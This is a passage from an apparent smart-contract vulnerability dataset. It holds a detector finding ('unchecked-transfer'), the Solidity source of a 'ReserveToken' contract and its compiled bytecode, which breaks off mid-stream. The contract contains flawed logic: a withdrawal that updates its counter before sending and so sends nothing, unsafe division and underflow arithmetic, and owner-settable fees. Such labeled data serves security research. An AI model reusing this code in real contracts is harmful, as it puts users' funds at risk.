0000000000000000081526004016104c0906109d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610539576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610530906109b4565b60405180910390fd5b61054281610573565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008135905061064681610a7e565b92915050565b60008151905061065b81610a95565b92915050565b60008083601f84011261067357600080fd5b8235905067ffffffffffffffff81111561068c57600080fd5b6020830191508360018202830111156106a457600080fd5b9250929050565b6000813590506106ba81610aac565b92915050565b6000602082840312156106d257600080fd5b60006106e084828501610637565b91505092915050565b60008060008060008060008060c0898b03121561070557600080fd5b60006107138b828c01610637565b98505060206107248b828c01610637565b97505060406107358b828c01610637565b96505060606107468b828c016106ab565b955050608089013567ffffffffffffffff81111561076357600080fd5b61076f8b828c01610661565b945094505060a089013567ffffffffffffffff81111561078e57600080fd5b61079a8b828c01610661565b92509250509295985092959890939650565b6000602082840312156107be57600080fd5b60006107cc8482850161064c565b91505092915050565b6107de81610a16565b82525050565b60006107f083856109f4565b93506107fd838584610a5e565b61080683610a6d565b840190509392505050565b600061081e602683610a05565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610884602083610a05565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6108c081610a54565b82525050565b60006020820190506108db60008301846107d5565b92915050565b600060c0820190506108f6600083018b6107d5565b610903602083018a6107d5565b61091060408301896107d5565b61091d60608301886108b7565b81810360808301526109308186886107e4565b905081810360a08301526109458184866107e4565b90509998505050505050505050565b600060608201905061096960008301866107d5565b61097660208301856107d5565b61098360408301846108b7565b949350505050565b60006040820190506109a060008301856107d5565b6109ad60208301846108b7565b9392505050565b600060208201905081810360008301526109cd81610811565b9050919050565b600060208201905081810360008301526109ed81610877565b9050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000610a2182610a34565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b6000601f19601f8301169050919050565b610a8781610a16565b8114610a9257600080fd5b50565b610a9e81610a28565b8114610aa957600080fd5b50565b610ab581610a54565b8114610ac057600080fd5b5056fea2646970667358221220be897d29c7f0675dc0548a3df74e4a026170c4fe46c71a54e4ad3394416237b664736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,903
0x88b4cb056467cdd50e1760d309b18139ce31b3c5
// Welcome to Reserve Token. // pragma solidity ^0.4.0; contract ReserveToken { address public tank; //SBC - The tank of the contract uint256 public tankAllowance = 0; uint256 public tankOut = 0; uint256 public valueOfContract = 0; string public name; //Name of the contract string public symbol; //Symbol of the contract uint8 public decimals = 18; //The amount of decimals uint256 public totalSupply; //The current total supply. uint256 public maxSupply = uint256(0) - 10; //We let the max amount be the most the variable can handle. well... basically. uint256 public tankImposedMax = 100000000000000000000000; //SBC - 10 million maximum tokens at first uint256 public priceOfToken; //The current price of a token uint256 public divForSellBack = 2; //SBC - The split for when a sell back occurs uint256 public divForTank = 200; //SBC - 20=5%. 100=1% 1000=.1% The amount given to the Abby. uint256 public divForPrice = 200; //SBC - The rate in which we grow. 2x this is our possible spread. uint256 public divForTransfer = 2; //SBC - The rate in which we grow. 2x this is our possible spread. uint256 public firstTTax = 10000; //SBC - The amount added to cost of transfer if firstTTaxAmount uint256 public firstTTaxAmount = 10000; //SBC - The sender amount must be greater than this amount. uint256 public secondTTax = 20000; //SBC - uint256 public secondTTaxAmount = 20000; //SBC uint256 public minTokens = 100; //SBC - minimum amount of tickets a person may mixssxnt at once uint256 public maxTokens = 1000; //SBC -max amount of tickets a person may mint at once uint256 public coinprice; //This is calculated on the fly in the sellprice. This is the last buy price. not the current. //Standard Token mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); function ReserveToken() payable public { name = "Reserve Token"; //Setting the name of the contract symbol = "RSRV"; //Setting the symbol tank = msg.sender; //setting the tank priceOfToken = 1 szabo; } function MintTokens() public payable { //Just some requirements for BuyTokens -- The Tank needs no requirements. (Tank is still subjected to fees) address inAddress = msg.sender; uint256 inMsgValue = msg.value; if (inAddress != tank) { require(inMsgValue > 1000); //The minimum money supplied require(inMsgValue > priceOfToken * minTokens); //The minimum amount of tokens you can buy require(inMsgValue < priceOfToken * maxTokens); //The maximum amount of tokens. } //Add the incoming tank allowance to tankAllowance tankAllowance += (inMsgValue / divForTank); //add to the value of contact the incoming value - what the tank got. valueOfContract += (inMsgValue - (inMsgValue / divForTank)); //new coins are equalal to teh new value of contract divided by the current price of token uint256 newcoins = ((inMsgValue - (inMsgValue / divForTank)) * 1 ether) / (priceOfToken); //Ensure that we dont go over the max the tank has set. require(totalSupply + newcoins < maxSupply); //Ensure that we don't go oever the maximum amount of coins. require(totalSupply + newcoins < tankImposedMax); //Update use balance, total supply, price of token. totalSupply += newcoins; priceOfToken += valueOfContract / (totalSupply / 1 ether) / divForPrice; balances[inAddress] += newcoins; } function BurnAllTokens() public { address inAddress = msg.sender; uint256 theirBalance = balances[inAddress]; //Get their balance without any crap code require(theirBalance > 0); //Make sure that they have enough money to cover this. balances[inAddress] = 0; //Remove the amount now, for re entry prevention coinprice = valueOfContract / (totalSupply / 1 ether); //Updating the coin price (buy back price) uint256 amountGoingOut = coinprice * (theirBalance / 1 ether); //amount going out in etheruem //We convert amount going out to amount without divforTank uint256 tankAmount = (amountGoingOut / divForTank); //The amount going to the tank amountGoingOut = amountGoingOut - tankAmount; //the new amount for our going out without the tank //Amount going out minus theW tankAllowance += (tankAmount - (tankAmount / divForSellBack)); //Give //Add the the tank allowance, here we are functionally making the coin worth more. valueOfContract -= amountGoingOut + (tankAmount / divForSellBack); //VOC = ago - (tankAmount left after tankAllowance) //Updating the new value of our contract. what we will have after the transfer msg.sender.transfer(amountGoingOut); //Transfer the money totalSupply -= theirBalance; } function BurnTokens(uint256 _amount) public { address inAddress = msg.sender; uint256 theirBalance = balances[inAddress]; //Get their balance without any crap code require(_amount <= theirBalance); //Make sure that they have enough money to cover this. balances[inAddress] -= _amount; //Remove the amount now, for re entry prevention coinprice = valueOfContract / (totalSupply / 1 ether); //Updating the coin price (buy back price) uint256 amountGoingOut = coinprice * (_amount / 1 ether); //amount going out in etheruem //We convert amount going out to amount without divforTank uint256 tankAmount = (amountGoingOut / divForTank); //The amount going to the tank amountGoingOut = amountGoingOut - tankAmount; //the new amount for our going out without the tank //Amount going out minus theW tankAllowance += (tankAmount - (tankAmount / divForSellBack)); //Give //Add the the tank allowance, here we are functionally making the coin worth more. valueOfContract -= amountGoingOut + (tankAmount / divForSellBack); //VOC = ago - (tankAmount left after tankAllowance) //Updating the new value of our contract. what we will have after the transfer msg.sender.transfer(amountGoingOut); //Transfer the money totalSupply -= _amount; } function CurrentCoinPrice() view public returns (uint256) { uint256 amountGoingOut = valueOfContract / (totalSupply / 1 ether); //We convert amount going out to amount without divforTank uint256 tankAmount = (amountGoingOut / divForTank); //The amount going to the tank return amountGoingOut - tankAmount; //the new amount for our going out without the tank } function TankWithdrawSome(uint256 _amount) public { address inAddress = msg.sender; require(inAddress == tank); //Require person to be the tank //if our allowance is greater than the value of the contract then the contract must be empty. if (tankAllowance < valueOfContract) { require(_amount <= tankAllowance - tankOut); } //Require the amount to be less than the amount for tank0. tankOut += _amount; //Adding in new tank withdraw. tank.transfer(_amount); //transfering amount to tank's balance. } //This is an ethereum withdraw for the tank. function TankWithdrawAll() public { address inAddress = msg.sender; require(inAddress == tank); //Require person to be the tank //if our allowance is greater than the value of the contract then the contract must be empty. if (tankAllowance < valueOfContract) { require(tankAllowance - tankOut > 0); //Tank allowance - tankout = whats left for tank. and it must be over zero } //Require the amount to be less than the amount for tank0. tankOut += tankAllowance - tankOut; //We give whats left to our tankout makeing whats left zero. so tank cant double withdraw. //Adding in new tank withdraw. tank.transfer(tankAllowance - tankOut); //transfering amount to tank's balance. } function TankDeposit() payable public { address inAddress = msg.sender; uint256 inValue = msg.value; require(inAddress == tank); //require the person to be a the tank if (inValue < tankOut) { tankOut -= inValue; // We cant underflow here because it has to be less. } else { //Add the excess to the contract value valueOfContract += (inValue - tankOut) * 1 ether; //We DO NOT INCREASE ALLOWANCE, we only allow the tank to go to zero. tankOut = 0; } } // What is the balance of a particular account? function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transferFee(uint256 _amount) view internal returns (uint256){ //If Amount is above the tax amount return the tax if (_amount > secondTTaxAmount) return secondTTax; if (_amount > firstTTaxAmount) return firstTTax; } // Transfer the balance from tank's account to another account function transfer(address _to, uint256 _amount) public returns (bool success) { //variables we are working with. uint256 fromBalance = balances[msg.sender]; uint256 toBalance = balances[_to]; uint256 tFee = transferFee(_amount); //Require the balance be greater than the amount + fee require(fromBalance >= _amount + tFee); //Require the amount ot be greater than 0. require(_amount > 0); //Require the toBalance to be greater than the current amount. w require(toBalance + _amount > toBalance); balances[msg.sender] -= _amount + tFee; balances[_to] += _amount; balances[tank] += tFee / divForTransfer; totalSupply -= tFee - (tFee / divForTransfer); emit Transfer(msg.sender, _to, _amount); //Create Event return true; } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { uint256 fromBalance = balances[_from]; //The current balance of from uint256 toBalance = balances[_to]; //The current blance for to uint256 tFee = transferFee(_amount); //The transaction fee that will be accociated with this transaction //Require the from balance to have more than the amount they want to send + the current fee require(fromBalance >= _amount + tFee); //Require the allowed balance to be greater than that amount as well. require(allowed[_from][msg.sender] >= _amount + tFee); //Require the current amount to be greater than 0. require(_amount > 0); //Require the to balance to gain an amount. protect against under and over flows require(toBalance + _amount > toBalance); //Update from balance, allowed balance, to balance, tank balance, total supply. create Transfer event. balances[_from] -= _amount + tFee; allowed[_from][msg.sender] -= _amount + tFee; balances[_to] += _amount; balances[tank] += tFee / divForTransfer; totalSupply -= tFee - (tFee / divForTransfer); emit Transfer(_from, _to, _amount); return true; } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function GrabUnallocatedValue() public { address inAddress = msg.sender; require(inAddress == tank); //Sometimes someone sends money straight to the contract but that isn't recorded in the value of teh contract. //So here we allow tank to withdraw those extra funds address walletaddress = this; if (walletaddress.balance * 1 ether > valueOfContract) { tank.transfer(walletaddress.balance - (valueOfContract / 1 ether)); } } function TankTransfer(address _NewTank) public { address inAddress = msg.sender; require(inAddress == tank); tank = _NewTank; } function SettankImposedMax(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); tankImposedMax = _input; } function SetdivForSellBack(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); divForSellBack = _input; } function SetdivForTank(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); divForTank = _input; } function SetdivForPrice(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); divForPrice = _input; } function SetfirstTTax(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); firstTTax = _input; } function SetfirstTTaxAmount(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); firstTTaxAmount = _input; } function SetsecondTTax(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); secondTTax = _input; } function SetsecondTTaxAmount(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); secondTTaxAmount = _input; } function SetminTokens(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); minTokens = _input; } function SetmaxTokens(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); maxTokens = _input; } function SetdivForTransfer(uint256 _input) public { address inAddress = msg.sender; require(inAddress == tank); divForTransfer = _input; } }
0x608060405260043610610251576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461025657806307730eb9146102e657806308f68b90146102fd578063095ea7b31461032a578063134c021b1461038f57806318160ddd146103ba5780631b9cbdfb146103e55780631c488825146104105780631ca84efc1461041a57806323020be51461044557806323b872dd1461047257806327e235e3146104f757806328d005e91461054e5780632cd3fd70146105795780633076e56a146105a6578063313ce567146105d157806345c3805314610602578063461416571461062d5780634dad66f51461065a5780635c658165146106855780635d801ec4146106fc57806360900c88146107295780636ceac6e11461075457806370a082311461075e5780637138e0c9146107b55780637197c6d2146107e057806395d89b411461080b5780639903745f1461089b5780639d4c5451146108c8578063a0c01e58146108f3578063a129ecda1461091e578063a4a0d8011461094b578063a9059cbb14610976578063ab503e30146109db578063af9f788c14610a08578063afa3a5d114610a35578063b7f01bfc14610a62578063ba38743b14610ab9578063d428bf3b14610ad0578063d5abeb0114610afd578063d752029814610b28578063d7e3083214610b55578063dd62ed3e14610b98578063e831574214610c0f578063e8ad7bcc14610c3a578063efa0a1ef14610c65578063f81ff8e714610c92578063f9b71e7314610cbd578063fa02dcc114610ce8575b600080fd5b34801561026257600080fd5b5061026b610cff565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ab578082015181840152602081019050610290565b50505050905090810190601f1680156102d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f257600080fd5b506102fb610d9d565b005b34801561030957600080fd5b5061032860048036038101908080359060200190929190505050610f2f565b005b34801561033657600080fd5b50610375600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f9a565b604051808215151515815260200191505060405180910390f35b34801561039b57600080fd5b506103a461108c565b6040518082815260200191505060405180910390f35b3480156103c657600080fd5b506103cf611092565b6040518082815260200191505060405180910390f35b3480156103f157600080fd5b506103fa611098565b6040518082815260200191505060405180910390f35b61041861109e565b005b34801561042657600080fd5b5061042f611266565b6040518082815260200191505060405180910390f35b34801561045157600080fd5b506104706004803603810190808035906020019092919050505061126c565b005b34801561047e57600080fd5b506104dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d7565b604051808215151515815260200191505060405180910390f35b34801561050357600080fd5b50610538600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165e565b6040518082815260200191505060405180910390f35b34801561055a57600080fd5b50610563611676565b6040518082815260200191505060405180910390f35b34801561058557600080fd5b506105a46004803603810190808035906020019092919050505061167c565b005b3480156105b257600080fd5b506105bb611817565b6040518082815260200191505060405180910390f35b3480156105dd57600080fd5b506105e661181d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561060e57600080fd5b50610617611830565b6040518082815260200191505060405180910390f35b34801561063957600080fd5b5061065860048036038101908080359060200190929190505050611836565b005b34801561066657600080fd5b5061066f6118a1565b6040518082815260200191505060405180910390f35b34801561069157600080fd5b506106e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a7565b6040518082815260200191505060405180910390f35b34801561070857600080fd5b50610727600480360381019080803590602001909291905050506118cc565b005b34801561073557600080fd5b5061073e611937565b6040518082815260200191505060405180910390f35b61075c61193d565b005b34801561076a57600080fd5b5061079f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119eb565b6040518082815260200191505060405180910390f35b3480156107c157600080fd5b506107ca611a34565b6040518082815260200191505060405180910390f35b3480156107ec57600080fd5b506107f5611a3a565b6040518082815260200191505060405180910390f35b34801561081757600080fd5b50610820611a40565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610860578082015181840152602081019050610845565b50505050905090810190601f16801561088d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108a757600080fd5b506108c660048036038101908080359060200190929190505050611ade565b005b3480156108d457600080fd5b506108dd611b49565b6040518082815260200191505060405180910390f35b3480156108ff57600080fd5b50610908611b4f565b6040518082815260200191505060405180910390f35b34801561092a57600080fd5b5061094960048036038101908080359060200190929190505050611b55565b005b34801561095757600080fd5b50610960611bc0565b6040518082815260200191505060405180910390f35b34801561098257600080fd5b506109c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bc6565b604051808215151515815260200191505060405180910390f35b3480156109e757600080fd5b50610a0660048036038101908080359060200190929190505050611e33565b005b348015610a1457600080fd5b50610a3360048036038101908080359060200190929190505050611e9e565b005b348015610a4157600080fd5b50610a6060048036038101908080359060200190929190505050611f9c565b005b348015610a6e57600080fd5b50610a77612007565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ac557600080fd5b50610ace61202c565b005b348015610adc57600080fd5b50610afb60048036038101908080359060200190929190505050612156565b005b348015610b0957600080fd5b50610b126121c1565b6040518082815260200191505060405180910390f35b348015610b3457600080fd5b50610b53600480360381019080803590602001909291905050506121c7565b005b348015610b6157600080fd5b50610b96600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612232565b005b348015610ba457600080fd5b50610bf9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122d6565b6040518082815260200191505060405180910390f35b348015610c1b57600080fd5b50610c2461235d565b6040518082815260200191505060405180910390f35b348015610c4657600080fd5b50610c4f612363565b6040518082815260200191505060405180910390f35b348015610c7157600080fd5b50610c9060048036038101908080359060200190929190505050612369565b005b348015610c9e57600080fd5b50610ca76123d4565b6040518082815260200191505060405180910390f35b348015610cc957600080fd5b50610cd2612418565b6040518082815260200191505060405180910390f35b348015610cf457600080fd5b50610cfd61241e565b005b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d955780601f10610d6a57610100808354040283529160200191610d95565b820191906000526020600020905b815481529060010190602001808311610d7857829003601f168201915b505050505081565b600080600080339350601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250600083111515610df757600080fd5b6000601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a7640000600754811515610e5157fe5b04600354811515610e5e57fe5b04601581905550670de0b6b3a764000083811515610e7857fe5b04601554029150600c5482811515610e8c57fe5b0490508082039150600b5481811515610ea157fe5b048103600160008282540192505081905550600b5481811515610ec057fe5b0482016003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610f18573d6000803e3d6000fd5b508260076000828254039250508190555050505050565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610f8f57600080fd5b816011819055505050565b600081601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600e5481565b60075481565b600a5481565b60008060003392503491506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515611138576103e88211151561110f57600080fd5b601354600a54028211151561112357600080fd5b601454600a54028210151561113757600080fd5b5b600c548281151561114557fe5b04600160008282540192505081905550600c548281151561116257fe5b048203600360008282540192505081905550600a54670de0b6b3a7640000600c548481151561118d57fe5b0484030281151561119a57fe5b04905060085481600754011015156111b157600080fd5b60095481600754011015156111c557600080fd5b80600760008282540192505081905550600d54670de0b6b3a76400006007548115156111ed57fe5b046003548115156111fa57fe5b0481151561120457fe5b04600a6000828254019250508190555080601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550505050565b60125481565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156112cc57600080fd5b81600f819055505050565b600080600080601660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915061136a85612527565b9050808501831015151561137d57600080fd5b808501601760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561140a57600080fd5b60008511151561141957600080fd5b8185830111151561142957600080fd5b808501601660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550808501601760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555084601660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600e548181151561155e57fe5b04601660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600e54818115156115d957fe5b0481036007600082825403925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600193505050509392505050565b60166020528060005260406000206000915090505481565b60105481565b600080600080339350601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492508285111515156116d657600080fd5b84601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550670de0b6b3a764000060075481151561173857fe5b0460035481151561174557fe5b04601581905550670de0b6b3a76400008581151561175f57fe5b04601554029150600c548281151561177357fe5b0490508082039150600b548181151561178857fe5b048103600160008282540192505081905550600b54818115156117a757fe5b0482016003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156117ff573d6000803e3d6000fd5b50846007600082825403925050819055505050505050565b60025481565b600660009054906101000a900460ff1681565b60015481565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561189657600080fd5b81600c819055505050565b600c5481565b6017602052816000526040600020602052806000526040600020600091509150505481565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561192c57600080fd5b816014819055505050565b60155481565b6000803391503490506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415156119a157600080fd5b6002548110156119c057806002600082825403925050819055506119e7565b670de0b6b3a764000060025482030260036000828254019250508190555060006002819055505b5050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b5481565b600f5481565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ad65780601f10611aab57610100808354040283529160200191611ad6565b820191906000526020600020905b815481529060010190602001808311611ab957829003601f168201915b505050505081565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611b3e57600080fd5b816012819055505050565b60135481565b600d5481565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611bb557600080fd5b81600b819055505050565b60035481565b600080600080601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150611c5985612527565b90508085018310151515611c6c57600080fd5b600085111515611c7b57600080fd5b81858301111515611c8b57600080fd5b808501601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555084601660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600e5481811515611d3457fe5b04601660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600e5481811515611daf57fe5b0481036007600082825403925050819055508573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a36001935050505092915050565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611e9357600080fd5b816013819055505050565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611efe57600080fd5b6003546001541015611f2057600254600154038211151515611f1f57600080fd5b5b816002600082825401925050819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611f97573d6000803e3d6000fd5b505050565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611ffc57600080fd5b81600e819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000803391506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151561208d57600080fd5b309050600354670de0b6b3a76400008273ffffffffffffffffffffffffffffffffffffffff1631021115612152576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc670de0b6b3a764000060035481151561210b57fe5b048373ffffffffffffffffffffffffffffffffffffffff1631039081150290604051600060405180830381858888f19350505050158015612150573d6000803e3d6000fd5b505b5050565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156121b657600080fd5b81600d819055505050565b60085481565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561222757600080fd5b816010819055505050565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561229257600080fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60145481565b60115481565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156123c957600080fd5b816009819055505050565b6000806000670de0b6b3a76400006007548115156123ee57fe5b046003548115156123fb57fe5b049150600c548281151561240b57fe5b0490508082039250505090565b60095481565b60003390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561247e57600080fd5b60035460015410156124a05760006002546001540311151561249f57600080fd5b5b600254600154036002600082825401925050819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600254600154039081150290604051600060405180830381858888f19350505050158015612523573d6000803e